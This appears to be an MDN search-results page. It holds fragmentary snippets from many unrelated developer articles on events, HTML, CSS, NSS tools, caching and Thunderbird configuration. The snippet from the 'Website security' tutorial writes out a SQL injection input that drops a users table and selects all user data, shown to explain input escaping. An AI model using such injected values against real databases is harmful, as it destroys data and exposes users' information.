...to process ldap results before we make the call function processldapvalues(queryresults) { if( queryresults ) { // build the userinfo object for later use for( var attr in ldapattrs ) { userinfo[ ldapattrs[attr] ] = getldapvalue( queryresults, ldapattrs[attr] ); } } else { throw( "no ldap results" ); } } // call upon ldap for the values in ldapattrs array, // uses the p
revious processldapvalues() getldapattributes( ldaphost, ldapbase, ldapfilter, ldapattrs.join(",") ); // create account // see also http://blog.deanandadie.net/2010/06/easy-thunderbird-account-management-using-mcd/ // identity defaultpref("mail.identity.id1.fullname", userinfo.cn ); defaultpref("mail.identity.id1.smtpserver", "smtp1" ); defaultpref("mail.identity.id1.useremail", userinfo.mail ); //...
...And 5 more matches
PopupEvents - Archive of obsolete content
and showing menu items based on context. however, this technique can be applied to any type of popup. in this example, a label within a panel is initialized with the current time. ...
...s technique can be applied to any type of popup. in this example, a label within a panel is initialized with the current time. ...
...howing="this.lastchild.value = (new date()).tolocaleformat('%t')"> <label value="time:"/> <label id="time"/> </panel> <toolbarbutton label="show time" popup="time-panel"/> you can p
revent a menu or popup from appearing by calling the p
reventdefault method of the event from within a popupshowing listener. the default operation of the popupshowing event is to continue showing the popup. the p
reventdefault method will stop this from happening and the popup will not be opened. ...
...And 5 more matches
Table Reflow Internals - Archive of obsolete content
overview
review of reflow table frames table reflow intro to paginated reflow table paginated reflow
review of reflow reflow process starts when an html document starts loading (the frame tree contains only viewport, scroll(s), canvas, html, body). the initial chunk of an xml doc is loaded. the initial chunk of an html doc (or a subsequent chunk of an xml doc) is loaded. the container posts a dirty reflow command with itself as the target. content is inserted, appended, or deleted through the dom. the container posts a dirty reflow command with itself as the target. style changes through the dom - javascript, browser change font (ctrl+/-), a preference changes, etc. ...
...oc is loaded. the initial chunk of an html doc (or a subsequent chunk of an xml doc) is loaded. the container posts a dirty reflow command with itself as the target. content is inserted, appended, or deleted through the dom. the container posts a dirty reflow command with itself as the target. style changes through the dom - javascript, browser change font (ctrl+/-), a preference changes, etc.
review of reflow reflow starts with pres shell which reflows the reflow root (usually the viewport frame), which reflows it children, etc. ususally it starts when the pres shell processes its queue of reflow commands. the reflower positions reflowee (if it can) before actually reflowing in case views are involved (e.g. absolutely positioned elements) reflows reflowee and passes a reflow state (i...
...es shell which reflows the reflow root (usually the viewport frame), which reflows it children, etc. ususally it starts when the pres shell processes its queue of reflow commands. the reflower positions reflowee (if it can) before actually reflowing in case views are involved (e.g. ...
...And 5 more matches
Building up a basic demo with Babylon.js - Game development
t: var engine = new babylon.engine(canvas); the babylon global object contains all the babylon.js functions available in the engine. creating a scene a scene is the place where all the game content is displayed. while creating new objects in the demo, we will be adding them all to the scene to make them visible on the screen. let's create a scene by adding the following lines just below our p
revious code: var scene = new babylon.scene(engine); scene.clearcolor = new babylon.color3(0.8, 0.8, 0.8); thus, the scene is created and the second line sets the background color to light gray. creating a rendering loop to make the scene actually visible we have to render it. add these lines at the end of the <script> element, just before the closing </script>. var renderloop = function () { ...
...rs, colors, matrices etc. let there be light there are various light sources available in babylon.js. the most basic one is the pointlight, which works like a flashlight — shining a spotlight in a given direction. add the following line below your camera definition: var light = new babylon.pointlight("light", new babylon.vector3(10, 10, 0), scene); the parameters are very similar to the p
reviously defined camera: the name of the light, a position in 3d space and the scene to which the light is added. geometry now the scene is properly rendering we can start adding 3d shapes to it. to speed up development babylon.js provides a bunch of predefined primitives that you can use to create shapes instantly in a single line of code. there are cubes, spheres, cylinders and more complicated ...
...eometry now the scene is properly rendering we can start adding 3d shapes to it. to speed up development babylon.js provides a bunch of predefined primitives that you can use to create shapes instantly in a single line of code. there are cubes, spheres, cylinders and more complicated shapes available. let's start by defining the geometry for a box shape — add the following new code below your p
revious additions: var box = babylon.mesh.createbox("box", 2, scene); a mesh is a way the engine creates geometric shapes, so material can be easily applied to them later on. in this case we're creating a box using the mesh.createbox method with it's own name, a size of 2, and a declaration of which scene we want it added to. note: the size or position values (e.g. for the box size) are unitless...
...And 5 more matches
UI pseudo-classes - Learn web development
this included some usage of pseudo-classes, for example using :checked to target a checkbox only when it is selected. in this article, we will explore in detail the different ui pseudo-classes available to us in modern browsers for styling forms in different states. prerequisites: basic computer literacy, and a basic understanding of html and css, including general knowledge of pseudo-classes and pseudo-elements. objective: to understand what parts of forms are hard to style, and why; to learn what can be done to customize them. ...
...nal by default, so you could just do your optional styling by default, and add styles on top for required controls. note: if one radio button in a same-named group of radio buttons has the required attribute, all the radio buttons will be invalid until one is selected, but only the one with the attribute assigned will actually match :required. using generated content with pseudo-classes in p
revious articles, we've seen the usage of generated content, but we thought now would be a good time to talk about it in a bit more detail. the idea is that we can use the ::before and ::after pseudo-elements along with the content property to make a chunk of content appear before or after the affected element. the chunk of content is not added to the dom, so is invisible to screenreaders; it is par...
...th) :invalid, but also matched by :out-of-range, as you'll see later on. there are some other ways to make an element matched by :valid/:invalid, as you'll see in the client-side form validation article. but we'll keep things simple for now. let's go in and look at a simple example of :valid/:invalid (see valid-invalid.html for the live version, and also check out the source code). ...
...And 5 more matches
Getting started with HTML - Learn web development
note: tags in html are case-insensitive. this means they can be written in uppercase or lowercase. for example, a <title> tag could be written as <title>, <title>, <title>, <title>, etc., and it will work. however, it is best practice to write all tags in lowercase for consistency, readability, and other reasons. anatomy of an html element let's further explore our paragraph element from the p
revious section: the anatomy of our element is: the opening tag: this consists of the name of the element (in this example, p for paragraph), wrapped in opening and closing angle brackets. this opening tag marks where the element begins or starts to take effect. in this example, it precedes the start of the paragraph text. the content: this is the content of the element. in this example, it is...
...solution.value = 'show solution'; } updatecode(); }); var htmlsolution = '<em>this is my text.</em>'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selectionstart; var front = (textarea.value).substring(0, caretpos); var back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caret...
... two terms. note: the terms block and inline, as used in this article, should not be confused with the types of css boxes that have the same names. while the names correlate by default, changing the css display type doesn't change the category of the element, and doesn't affect which elements it can contain and which elements it can be contained in. one reason html5 dropped these terms was to p
revent this rather common confusion. note: find useful reference pages that include lists of block and inline elements. see block-level elements and inline elements. empty elements not all elements follow the pattern of an opening tag, content, and a closing tag. some elements consist of a single tag, which is typically used to insert/embed something in the document. for example, the <img> elem...
...And 5 more matches
Introducing asynchronous JavaScript - Learn web development
p
revious overview: asynchronous next in this article we briefly recap the problems associated with synchronous javascript, and take a first look at some of the different asynchronous techniques you'll encounter, showing how they can help us solve such problems. prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals. objective: to gain familiarity with what asynchronous javascript is, how it differs from synchronous javascript, and what use cases it has. synchronous javascript to allow us to understand what asynchronous javascript is, we ought to start off by making sure we understand what synchronous javascript is. this section recaps some of the information we saw in the p
revious article. a lot of the function...
...t asynchronous javascript is, how it differs from synchronous javascript, and what use cases it has. synchronous javascript to allow us to understand what asynchronous javascript is, we ought to start off by making sure we understand what synchronous javascript is. this section recaps some of the information we saw in the p
revious article. a lot of the functionality we have looked at in p
revious learning area modules is synchronous — you run some code, and the result is returned as soon as the browser can do so. let's look at a simple example (see it live here, and see the source): const btn = document.queryselector('button'); btn.addeventlistener('click', () => { alert('you clicked me!'); let pelem = document.createelement('p'); pelem.textcontent = 'this is a newly-added p...
...he dom. we add a click event listener to it so that when the button is clicked: an alert() message appears. once the alert is dismissed, we create a <p> element. we then give it some text content. finally, we append the paragraph to the document body. while each operation is being processed, nothing else can happen — rendering is paused. this is because as we said in the p
revious article, javascript is single threaded. only one thing can happen at a time, on a single main thread, and everything else is blocked until an operation completes. so in the example above, after you've clicked the button the paragraph won't appear until after the ok button is pressed in the alert box. you can try it for yourself: <button>click me</button> note: it is important to remem...
...And 5 more matches
Introduction to events - Learn web development
for example, if the user selects a button on a webpage, you might want to respond to that action by displaying an information box. in this article, we discuss some important concepts surrounding events, and look at how they work in browsers. this won't be an exhaustive study; just what you need to know at this stage. prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps. ...
...ttp connect event docs provide a good example. you don't need to understand anything about other such environments at this stage in your learning; we just wanted to make it clear that events can differ in different programming environments. ways of using web events there are a number of ways to add event listener code to web pages so it runs when the associated event fires. in this section, we
review the various mechanisms and discuss which ones you should use. event handler properties these are the properties that exist to contain event handler code we have seen most frequently during the course. returning to the above example: const btn = document.queryselector('button'); btn.onclick = function() { const rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; ...
...ntlistener() function, in an anonymous function, like this: btn.addeventlistener('click', function() { var rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backgroundcolor = rndcol; }); this mechanism has some advantages over the older mechanisms discussed earlier. first, there is a counterpart function, removeeventlistener(), which removes a p
reviously added listener. for example, this would remove the listener set in the first code block in this section: btn.removeeventlistener('click', bgchange); this isn't significant for simple, small programs, but for larger, more complex programs it can improve efficiency to clean up old unused event handlers. plus, this allows you to have the same button performing different actions in different ...
...And 5 more matches
Website security - Learn web development
this introductory article won't make you a website security guru, but it will help you understand where threats come from, and what you can do to harden your web application against the most common attacks. prerequisites: basic computer literacy. objective: to understand the most common threats to web application security and what you can do to reduce the risk of your site being hacked. what is website security? the internet is a dangerous place! with great regularity, we hear about websites becoming unavailable due to denial of service attacks, or displaying modified (and often damaging) information on their homepages. ...
... hear about websites becoming unavailable due to denial of service attacks, or displaying modified (and often damaging) information on their homepages. in other high-profile cases, millions of passwords, email addresses, and credit card details have been leaked into the public domain, exposing website users to both personal embarrassment and financial risk. the purpose of website security is to p
revent these (or any) sorts of attacks. the more formal definition of website security is the act/practice of protecting websites from unauthorized access, use, modification, destruction, or disruption. effective website security requires design effort across the whole of the website: in your web application, the configuration of the web server, your policies for creating and renewing passwords, and...
... user could completely change the behavior of this sql statement to the new statement in the following example, by simply specifying the text in bold for the username. select * from users where name = 'a';drop table users; select * from userinfo where 't' = 't'; the modified statement creates a valid sql statement that deletes the users table and selects all data from the userinfo table (which
reveals the information of every user). this works because the first part of the injected text (a';) completes the original statement. to avoid this sort of attack, you must ensure that any user data that is passed to an sql query cannot change the nature of the query. one way to do this is to escape all the characters in the user input that have a special meaning in sql. note: the sql statement t...
...And 5 more matches
React interactivity: Events and state - Learn web development
in this article we'll do this, digging into events and state along the way, and ending up with an app in which we can successfully add and delete tasks, and toggle tasks as completed. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. objective: to learn about handling events and state in react, and use those to start making the case study app interactive. ...
...in javascript for a specific purpose, which is related but different — standard onclick handler properties). all browser events follow this format in jsx – on, followed by the name of the event. let's apply this to our app, starting in the form.js component. handling form submission at the top of the form() component function, create a function named handlesubmit(). ...
... apply this to our app, starting in the form.js component. handling form submission at the top of the form() component function, create a function named handlesubmit(). this function should p
revent the default behavior of the submit event. after that, it should trigger an alert(), which can say whatever you’d like. it should end up looking something like this: function handlesubmit(e) { e.p
reventdefault(); alert('hello, world!'); } to use this function, add an onsubmit attribute to the <form> element, and set its value to the handlesubmit function: <form onsubmit={handlesubmit}> now if you head back to your browser and click on the "add" button, your browser will show you an alert dialog with the words "hello, world!" — or whatever you chose to write there. callback props in r...
...And 5 more matches
Componentizing our Svelte app - Learn web development
the central objective of this article is to look at how to break our app into manageable components and share information between them. we'll componentize our app, then add more functionality to allow users to update existing components. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. you'll need a terminal with node + npm installed to compile and build your app. objective: to learn how to break our app into components and share information among them. ...
...he needed information as a parameter, and the handler will modify the parent's state. in our case, the filterbutton component will receive an onclick handler from its parent. whenever the user clicks on any filter button, the child will call the onclick handler, passing the selected filter as a parameter, back up to its parent. we will just declare the onclick prop assigning a dummy handler to p
revent errors, like this: export let onclick = (clicked) => {} and we'll declare the following reactive statement — $: onclick(filter) — to call the onclick handler whenever the filter variable is updated. the <script> section of our filterbutton component should end up looking like this — update it now: <script> export let filter = 'all' export let onclick = (clicked) => {} $:...
...r) </script> now when we call filterbutton inside todos.svelte we'll need to specify the handler. update it like this: <filterbutton {filter} onclick={ (clicked) => filter = clicked }/> when any filter button is clicked, we just update the filter variable with the new filter. now our filterbutton component will work again. easier two-way data binding with the bind directive in the p
revious example we realized that our filterbutton component wasn't working because our application state was flowing down from parent to child through the filter prop — but it wasn't going back up. so we added an onclick prop to let the child component communicate the new filter value to its parent. it works ok, but svelte provides us an easier and more straightforward way to achieve two-way data ...
...And 5 more matches
Handling common accessibility problems - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross browser testing. objective: to be able to diagnose common accessibility problems, and use appropriate tools and techniques to fix them. ...
... more useful detail surrounding this topic. javascript javascript has the same kind of problems as css with respect to accessibility — it can be disastrous for accessibility if used badly, or overused. we've already hinted at some accessibility problems related to javascript, mainly in the area of semantic html — you should always use appropriate semantic html to implement functionality whe
rever it is available, for example use links and buttons as appropriate. don't use <div> elements with javascript code to fake functionality if at all possible — it is error prone, and more work than using the free functionality html gives you. simple functionality generally simple functionality should work with just the html in place — javascript should only be used to enhance functionality, n...
...ate pickers) and dynamic content that is updated often and incrementally. non-native complicated form controls are problematic because they tend to involve a lot of nested <div>s, and the browser does not know what to do with them by default. if you are inventing them yourself, you need to make sure that they are keyboard accessible; if you are using some kind of third-party framework, carefully
review the options available to see how accessible they are before diving in. bootstrap looks to be fairly good for accessibility, for example, although making bootstrap a little more accessible by rhiana heath explores some of its issues (mainly related to color contrast), and looks at some solutions. regularly updated dynamic content can be a problem because screenreader users might miss it, espec...
...And 5 more matches
Contributing to the Mozilla code base
ront-end) javascript and/or html/css firefox developers documentation devtools javascript and/or html/css contribute to devtools add-ons javascript and/or html/css contribute to add-ons firefox focus for android java contribute to firefox focus for android firefox for fire tv java contribute to firefox for fire tv firefox p
review (mobile browser, codename: "fenix") kotlin contribute to firefox p
review firefox for ios swift contribute to firefox for ios firefox focus for ios swift contribute to firefox focus for ios mozilla hubs javascript and/or html/css, vr contribute to mozilla hubs servo rust contribute to servo there are even many ways to cont...
... find something to work on bugs listed as 'assigned' are not usually a good place to start unless you're sure you have something worthy to contribute. someone else is already working on it! even with no assignee, it is polite to check if someone has recently commented that they're looking at fixing the issue. once you have found something to work on, go ahead and comment! let the bug submitter,
reviewer, and component owner know that you'd like to work on the bug. you might receive some extra information, perhaps also made the assignee. fix your pet peeve if there's something you'd like to fix about firefox, thunderbird, or your other favorite mozilla application, this can be a great place to start. there are a number of ways to do this: search bugzilla for relevant keywords. see pages...
...t having to use bugzilla's more perplexing search component. mozbugs step 2: fix the bug we leave this in your hands. here are some further resources to help: ask for help in a comment on the bug, or in #introduction:mozilla.org or #developers:mozilla.org check out https://developer.mozilla.org/docs/developer_guide and its parent document, https://developer.mozilla.org/docs/mozilla our
reviewer checklist is very useful, if you have a patch near completion, and seek a favorable
review utilize our build tool mach, its linting, static analysis, and other code checking features step 3: get your code
reviewed once you fix the bug, you can advance to having your code
reviewed. when you commit your code, please use the following format for your commit message: `bug number - what your...
...And 5 more matches
HTTP Cache
ache entry's output stream immediately, even before the output stream is closed. this is called concurrent read/write. concurrent read and write important difference in behavior from the old cache: the cache now supports reading a cache entry data while it is still being written by the first consumer - the writer. this can only be engaged for resumable responses that (bug 960902) don't need
revalidation. reason is that when the writer is interrupted (by e.g. external canceling of the loading channel) concurrent readers would not be able to reach the remaning unread content. this could be improved by keeping the network load running and being stored to the cache entry even after the writing channel has been canceled. when the writer is interrupted, the first concurrent reader in line...
...ent writer. lifetime of an existing entry with only a partial content such a cache entry is first examined in the nsicacheentryopencallback.oncacheentrycheck callback, where it has to be checked for completeness. in this case, the content-length (or different indicator) header doesn't equal to the data size reported by the cache entry. the consumer then indicates the cache entry needs to be
revalidated by returning entry_needs_
revalidation from oncacheentrycheck. this consumer, from the point of view the cache, takes a role of the writer. other parallel consumers, if any, are blocked until the writer calls setvalid on the cache entry. the consumer is then responsible to validate the partial content cache entry with the network server and attempt to load the rest of the data. when th...
... partial content cache entry with the network server and attempt to load the rest of the data. when the server responds positively (in case of an http server with a 206 response code) the writer (in this order) opens the output stream on the cache entry and calls setvalid to unblock other pending openers. concurrent read/write is engaged. lifetime of an existing entry that doesn't pass server
revalidation such a cache entry is first examined in the nsicacheentryopencallback.oncacheentrycheck callback, where the consumer finds out it must be
revalidated with the server before use. the consumer then indicates the cache entry needs to be
revalidated by returning entry_needs_
revalidation from oncacheentrycheck. this consumer, from the point of view the cache, takes a role of the writer. ...
...And 5 more matches
Localizing with Koala
ion: 3.6. appname: browser. included locale: en-us (this is the original locale you're translating from). leave location empty for now. check the "mercurial" checkbox. note that you don't have to edit the location field, it automatically fills in when you check the "mercurial" checkbox: "c:\mozilla\l10n\application\firefox\3.6". url: http://hg.mozilla.org/releases/mozilla-1.9.2. branch: default.
revision: leave empty. click "ok". koala will now try to clone the en-us source repository from http://hg.mozilla.org/releases/mozilla-1.9.2. it's almost 1 gb worth of download, so it may take a while. click "ok". on windows, if koala doesn't clone the repositories, you'll need to do it manually. the easy way involves opening the console and issuing the following commands: c:\users\stas> cd c:\moz...
...http://bitbucket.org/mozillal10n/x-testing or http://hg.mozilla.org/releases/l10n-....9.2/x-testing. new localizations: url: if you already have a reposit...
...y set up by l10n-drivers (on bitbucket), type the url of the remote repository, e.g. http://bitbucket.org/mozillal10n/x-testing. if you're starting a new localization, you may not have a remote repository set up yet. it is still recommended to use mercurial locally to version your local files. just type a single dot (".") in the url field to enable mercurial support in koala. branch: default.
revision: leave empty. user: type your name and your e-mail address in the form: "firstname lastname <me@example.com>" (be sure to type the wrapping quotes: "") note that you no longer have to edit the location now, it automatically fills in when you check the "mercurial" checkbox (e.g. "c:\mozilla\l10n\locale\x-testing\3.6" if you enabled mercurial (recommended), koala will ask you if you wish to ...
...And 5 more matches
NSS_3.12_release_notes.html
on (see cert.h) cert_encodesubjectkeyid (see certdb/cert.h) cert_encodeusernotice (see cert.h) cert_findcrlentryreasonexten (see cert.h) cert_findcrlnumberexten (see cert.h) cert_findnameconstraintsexten (see cert.h) cert_getclassicocspdisabledpolicy (see cert.h) cert_getclassicocspenabledhardfailurepolicy (see cert.h) cert_getclassicocspenabledsoftfailurepolicy (see cert.h) cert_getpkixverifynist
revocationpolicy (see cert.h) cert_getusepkixforvalidation (see cert.h) cert_getvaliddnspatternsfromcert (see cert.h) cert_newtempcertificate (see cert.h) cert_setocsptimeout (see certhigh/ocsp.h) cert_setusepkixforvalidation (see cert.h) cert_pkixverifycert (see cert.h) hash_gettype (see sechash.h) nss_initwithmerge (see nss.h) pk11_createmergelog (see pk11pub.h) pk11_creategenericobject (see pk11pu...
... (see cryptohi.h) vfy_verifydigestdirect (see cryptohi.h) vfy_verifydigestwithalgorithmid (see cryptohi.h) new macros for camellia support (see blapit.h): nss_camellia nss_camellia_cbc camellia_block_size new macros for rsa (see blapit.h): rsa_max_modulus_bits rsa_max_exponent_bits new macros in certt.h: x.509 v3 ku_encipher_only cert_max_serial_number_bytes cert_max_dn_bytes pkix cert_
rev_m_do_not_test_using_this_method cert_
rev_m_test_using_this_method cert_
rev_m_allow_network_fetching cert_
rev_m_forbid_network_fetching cert_
rev_m_allow_implicit_default_source cert_
rev_m_ignore_implicit_default_source cert_
rev_m_skip_test_on_missing_source cert_
rev_m_require_info_on_missing_source cert_
rev_m_ignore_missing_fresh_info cert_
rev_m_fail_on_missing_fresh_info cert_
rev_m_stop_testing_o...
...ng_this_method cert_
rev_m_test_using_this_method cert_
rev_m_allow_network_fetching cert_
rev_m_forbid_network_fetching cert_
rev_m_allow_implicit_default_source cert_
rev_m_ignore_implicit_default_source cert_
rev_m_skip_test_on_missing_source cert_
rev_m_require_info_on_missing_source cert_
rev_m_ignore_missing_fresh_info cert_
rev_m_fail_on_missing_fresh_info cert_
rev_m_stop_testing_on_fresh_info cert_
rev_m_continue_testing_on_fresh_info cert_
rev_mi_test_each_method_separately cert_
rev_mi_test_all_local_information_first cert_
rev_mi_no_overall_info_requirement cert_
rev_mi_require_some_fresh_info_available cert_policy_flag_no_mapping cert_policy_flag_explicit cert_policy_flag_no_any cert_enable_ldap_fetch cert_enable_http_fetch new macro in utilrename.h: smime_aes_cbc_128 the nssckbi pkcs #11...
...And 5 more matches
NSS tools : crlutil
name crlutil — list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. synopsis crlutil [options] arguments description the certificate
revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or
revocation. this document discusses...
...ty database file(s) and list, create, modify or delete certificates entries in a particular crl. the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or
revocation. this document discusses certificate
revocation list management. ...
...each command takes one option. each option may take zero or more arguments. ...
...And 5 more matches
Event - Web APIs
mdn api reference. note that all event interfaces have names which end in "event". ...
... properties even...
...vent editingbeforeinputevent erro
revent fetchevent focusevent gamepadevent hashchangeevent idbversionchangeevent inputevent keyboardevent mediastreamevent messageevent mouseevent mutationevent offlineaudiocompletionevent overconstrainederror pagetransitionevent paymentrequestupdateevent pointe
revent popstateevent progressevent relatedevent rtcdatachannelevent rtcidentityerro
revent rtcidentityevent rtcpeerconnectioniceevent senso
revent storageevent svgevent svgzoomevent timeevent touchevent trackevent transitionevent uievent userproximityevent webglcontextevent wheelevent constructor event() creates an event object, returning it to the caller. properties event.bubbles read only a boolean indicating whether or not the event bubbles up through t...
...And 5 more matches
Using Pointer Events - Web APIs
e a finger (or elbow, ear, nose, whatever, but typically a finger), stylus, mouse, or any other method for specifying a single point on the surface. example the text below uses the term "finger" when describing the contact with the surface, but it could, of course, also be a stylus, mouse, or other method of pointing at a location. create a canvas the touch-action property is set to none to p
revent the browser from applying its default touch behavior to the application. <canvas id="canvas" width="600" height="600" style="border:solid black 1px; touch-action:none"> your browser does not support canvas element. </canvas> <br> <button onclick="startup()">initialize</button> <br> log: <pre id="log" style="border: 1px solid #ccc;"></pre> setting up the event handlers when the page loads...
... processing, the start point is drawn as a small circle. we're using a 4-pixel wide line, so a 4 pixel radius circle will show up neatly. drawing as the pointers move each time one or more pointers moves, a pointermove event is delivered, resulting in our handlemove() function being called. its responsibility in this example is to update the cached touch information and to draw a line from the p
revious position to the current position of each touch. function handlemove(evt) { var el = document.getelementsbytagname("canvas")[0]; var ctx = el.getcontext("2d"); var color = colorfortouch(evt); var idx = ongoingtouchindexbyid(evt.pointerid); log("continuing touch: idx = " + idx); if (idx >= 0) { ctx.beginpath(); log("ctx.moveto(" + ongoingtouches[idx].pagex + ", " + ongoin...
...ientx + ", " + evt.clienty + ");"); ctx.lineto(evt.clientx, evt.clienty); ctx.linewidth = 4; ctx.strokestyle = color; ctx.stroke(); ongoingtouches.splice(idx, 1, copytouch(evt)); // swap in the new touch record log("."); } else { log("can't figure out which touch to continue: idx = " + idx); } } this function looks in our cached touch information array for the p
revious information about each touch to determine the starting point for each touch's new line segment to be drawn. this is done by looking at each touch's pointe
revent.pointerid property. this property is a unique integer for each pointer event, and remains consistent for each event during the duration of each finger's contact with the surface. this lets us get the coordinates of the p
revious posit...
...And 5 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
t = "", asheets = [], amap = []; this.rate = nrate || 100; this.play = function () { if (btyping) { return; } if (bstart) { var aitems = document.queryselectorall(sselector); if (aitems.length === 0) { return; } for (var nitem = 0; nitem < aitems.length; nitem++) { asheets.push(new sheet(aitems[nitem])); /* uncomment the following line if you have p
reviously hidden your elements via css: */ // aitems[nitem].style.visibility = "visible"; } bstart = false; } nintervid = setinterval(typewrite, this.rate); btyping = true; }; this.pause = function () { clearinterval(nintervid); btyping = false; }; this.terminate = function () { ocurrent.nodevalue += spart; spart = ""; for (nidx; nidx < ...
... faucibus erat, vel varius tortor ultricies ac. lorem ipsum dolor sit amet, consectetur adipiscing elit. sed nec libero nunc. nullam tortor nunc, elementum a consectetur et, ultrices eu orci. lorem ipsum dolor sit amet, consectetur adipiscing elit. pellentesque a nisl eu sem vehicula egestas.</p> </div> </body> </html> view this demo in action. see also: clearinterval(). callback arguments as p
reviously discussed, internet explorer versions 9 and below do not support the passing of arguments to the callback function in either settimeout() or setinterval(). the following ie-specific code demonstrates a method for overcoming this limitation. to use, simply add the following code to the top of your script. /*\ |*| |*| ie-specific polyfill that enables the passage of arbitrary arguments to ...
...uctor. however, the daemon constructor itself is nothing but a clone of minidaemon with an added support for init and onstart functions declarable during the instantiation of the daemon. so the minidaemon framework remains the recommended way for simple animations, because daemon without its collection of methods is essentially a clone of it. minidaemon.js /*\ |*| |*| :: minidaemon :: |*| |*|
revision #2 - september 26, 2014 |*| |*| /docs/web/api/window.setinterval |*| https://developer.mozilla.org/user:fusionchess |*| https://github.com/madmurphy/minidaemon.js |*| |*| this framework is released under the gnu lesser general public license, version 3 or later. |*| http://www.gnu.org/licenses/lgpl-3.0.html |*| \*/ function minidaemon (oowner, ftask, nrate, nlen) { if (!(this && this...
...And 5 more matches
Accessibility documentation index - Accessibility
this document provides a list of links to all accessibility articles on the mozilla developer network. found 105 pages: # page tags and summary 1 accessibility accessibility, landing accessibility (often abb
reviated to a11y—as in "a" then 11 characters then "y") in web development means enabling as many people as possible to use web sites, even when those people's abilities are limited in some way. 2 aria aria, accessibility, html accessible rich internet applications (aria) is a set of attributes that define ways to make web content and web applications (especially those developed with javascript) more accessible to people with disabilities. it supplements html so that interactions and widgets commonly used in applications...
...ns, comments, details, suggestions wai-aria version 1.3 sees the addition of a set of new features, collectively known as aria annotations, which allow the creation of accessible annotations inside web documents. typical use cases include edit suggestions (i.e. an addition and/or deletion in an editable document), and comments (e.g. an editorial comment related to a part of a document under
review). 6 aria guides aria accessible rich internet applications (aria) defines ways to make the web more accessible to people with disabilities. a few guidelines to follow that ensure better accessibility, like using drag and drop for placement of the widgets. 7 aria live regions aria, accessibility, arialive using javascript, it is possible to dynamically ...
...e status role and describes the effect it has on browsers and assistive technology. 39 using the toolbar role needscontent this technique demonstrates how to use the toolbar role and describes the effect it has on browsers and assistive technology. 40 x-ms-aria-flowfrom aria, microsoft, non-standard the x-ms-aria-flowfrom property specifies the id of the p
revious element in an alternative reading order, allowing assistive technology to override the general default of reading in document source order. the property serves to define element relationships utilizing aria relationship attributes and the aria-flowto property. 41 wai-aria roles aria, aria roles, accessibility, reference, rôles this page lists reference pages covering all...
...And 5 more matches
animation-direction - CSS: Cascading Style Sheets
for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. it is often convenient to use the shorthand property animation to set all animation properties at once. syntax /* single animation */ animation-direction: normal; animation-direction:
reverse; animation-direction: alternate; animation-direction: alternate-
reverse; /* multiple animations */ animation-direction: normal,
reverse; animation-direction: alternate,
reverse, normal; /* global values */ animation-direction: inherit; animation-direction: initial; animation-direction: unset; values normal the animation plays forwards each cycle. in other words, each time the animatio...
...mation-direction: normal,
reverse; animation-direction: alternate,
reverse, normal; /* global values */ animation-direction: inherit; animation-direction: initial; animation-direction: unset; values normal the animation plays forwards each cycle. in other words, each time the animation cycles, the animation will reset to the beginning state and start over again. this is the default value.
reverse the animation plays backwards each cycle. in other words, each time the animation cycles, the animation will reset to the end state and start over again. animation steps are performed backwards, and timing functions are also
reversed. for example, an ease-in timing function becomes ease-out. ...
...the count to determine if a cycle is even or odd starts at one. ...
...And 5 more matches
Event reference
on fired when... abort uievent dom l3 the loading of a resource has been aborted. abort progressevent progress and xmlhttprequest progression has been terminated (not due to an error). abort event indexeddb a transaction has been aborted. afterprint event html5 the associated document has started printing or the print p
review has been closed. animationcancel animationevent css animations a css animation has aborted. animationend animationevent css animations a css animation has completed. animationiteration animationevent css animations a css animation is repeated. animationstart animationevent css animations a css animation has started...
... the input buffer of a scriptprocessornode is ready to be processed. audioend event web speech api the user agent has finished capturing audio for speech recognition. audiostart event web speech api the user agent has started to capture audio for speech recognition. beforeprint event html5 the associated document is about to be printed or p
reviewed for printing. beforeunload beforeunloadevent html5 the window, the document and its resources are about to be unloaded. beginevent timeevent svg a smil animation element begins. blocked indexeddb an open connection to a database is blocking a versionchange transaction on the same database. blur focusevent dom l3 an el...
... websocket a websocket connection has been closed with prejudice (some data couldn't be sent for example). error event server sent events an event source connection has been failed. error event indexeddb a request caused an error and failed. error event web speech api a speech recognition error occurs. error speechsynthesiserro
revent web speech api an error occurs that p
revents the utterance from being successfully spoken. focus focusevent dom l3 an element has received focus (does not bubble). focusin focusevent dom l3 an element is about to receive focus (bubbles). focusout focusevent dom l3 an element is about to lose focus (bubbles). fullscreenc...
...And 5 more matches
transform - SVG: Scalable Vector Graphics
use css transform functions. however, the compatibility isn't guaranteed. matrix the matrix(<a> <b> <c> <d> <e> <f>) transform function specifies a transformation in the form of a transformation matrix of six values. ...
...nction specifies a transformation in the form of a transformation matrix of six values. ...
...ies a transformation in the form of a transformation matrix of six values. ...
...And 5 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
toolbars in firefox are very customizable. some users don't like extra toolbars, or they want to rearrange toolbar buttons to their liking, possibly merging multiple toolbars in the process. firefox allows all of this by default, and if you don't pay attention to the details we describe here, your toolbar may not be as easy to customize as the rest. the first thing you need to do is add your buttons to the toolbar palette. the toolbarpalette is a collection of all toolbar buttons and toolbar items in firefox, including those added by extensions. ...
